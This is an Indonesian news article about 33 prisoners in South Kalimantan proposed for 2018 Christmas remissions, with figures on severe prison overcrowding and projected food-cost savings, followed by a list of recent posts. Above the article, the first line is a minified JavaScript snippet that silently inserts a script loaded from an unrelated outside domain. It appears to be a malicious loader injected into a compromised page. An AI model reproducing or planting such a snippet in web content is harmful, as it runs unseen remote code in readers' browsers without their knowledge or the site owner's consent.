(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

33 Napi se Kalsel Terima Remisi Natal, Satu Solusi Lapas Over Kapasitas


BANJARMASIN, Sebanyak 33 orang Narapidana (Napi) se-Kalsel diusulkan memperoleh remisi khusus Natal tahun 2018. Tercatat, di Lembaga Pemasyarakatan Kelas III Banjarbaru 1 orang Napi langsung bebas dan dari Lembaga Pemasyarakatan Kelas IIB Kotabaru ada 13 napi yang menerima remisi Natal.

Kepala Bidang Pembinaan, Bimbingan PAS Pengentasan Anak, Informasi dan Komunikasi, Kusbiyantoro mengatakan, dari 14 Lapas/Rutan di Kalsel, ada 8 Lapas/Rutan yang Napinya memperoleh remisi. Diantaranya adalah Lapas Banjarmasin dengan 4 orang Napi, LPKA Martapura 1 Napi, Lapas Khusus Narkotika Karang Intan 2 Napi, Lapas Kotabaru 13 Napi, Lapas Tanjung 1 Napi, Lapas Banjarbaru 8 orang Napi dan 1 orang Napi langsung bebas, Rutan Pelaihari ada 2 orang Napi, serta 1 orang napi dari Rutan Rantau.

“Semuanya berjumlah 33 yang sudah diusulkan memperoleh remisi khusus Natal pada tahun 2018 ini,” ungkap pejabat di Kemenkumham Kalsel ini.

Sementara itu, jumlah Napi di Kalsel sebanyak 8.978 orang napi. Padahal kapasitas Lapas/Rutan se-Kalsel hanya 3.347 orang. Sehingga hal ini mengakibatkan over kapasitas di seluruh Lapas/Rutan.

Penghuni terbanyak di Lapas Banjarmasin yaitu 2.533 orang napi, padahal kapasitasnya hanya untuk 366 orang napi. Berarti Lapas Banjarmasin mengalami over kapasitas hingga 592 persen.

Selain dilakukan program redistribusi penghuni dengan memindah Napi ke Lapas atau Rutan yang tidak over kapasitas program pembebasan bersyarat, cuti bersyarat, cuti menjelang bebas, dan remisi juga salah satu upaya dalam mengatasi permasalahan over kapasitas penghuni.

Hal ini juga berpotensi menghemat anggaran biaya makan tentunya. Jika dikalikan potongan masa tahanan dan dikalikan dengan biaya kurang lebih Rp20.000 per orang per hari, ilustrasinya dimana 33 orang dikalikan potongan masa tahanan maksimal 2 bulan atau 60 hari maka negara menghemat kurang lebih Rp40 juta. (mario)

Reporter : Mario
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

2 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

4 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

4 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

5 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

5 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

17 jam ago

This website uses cookies.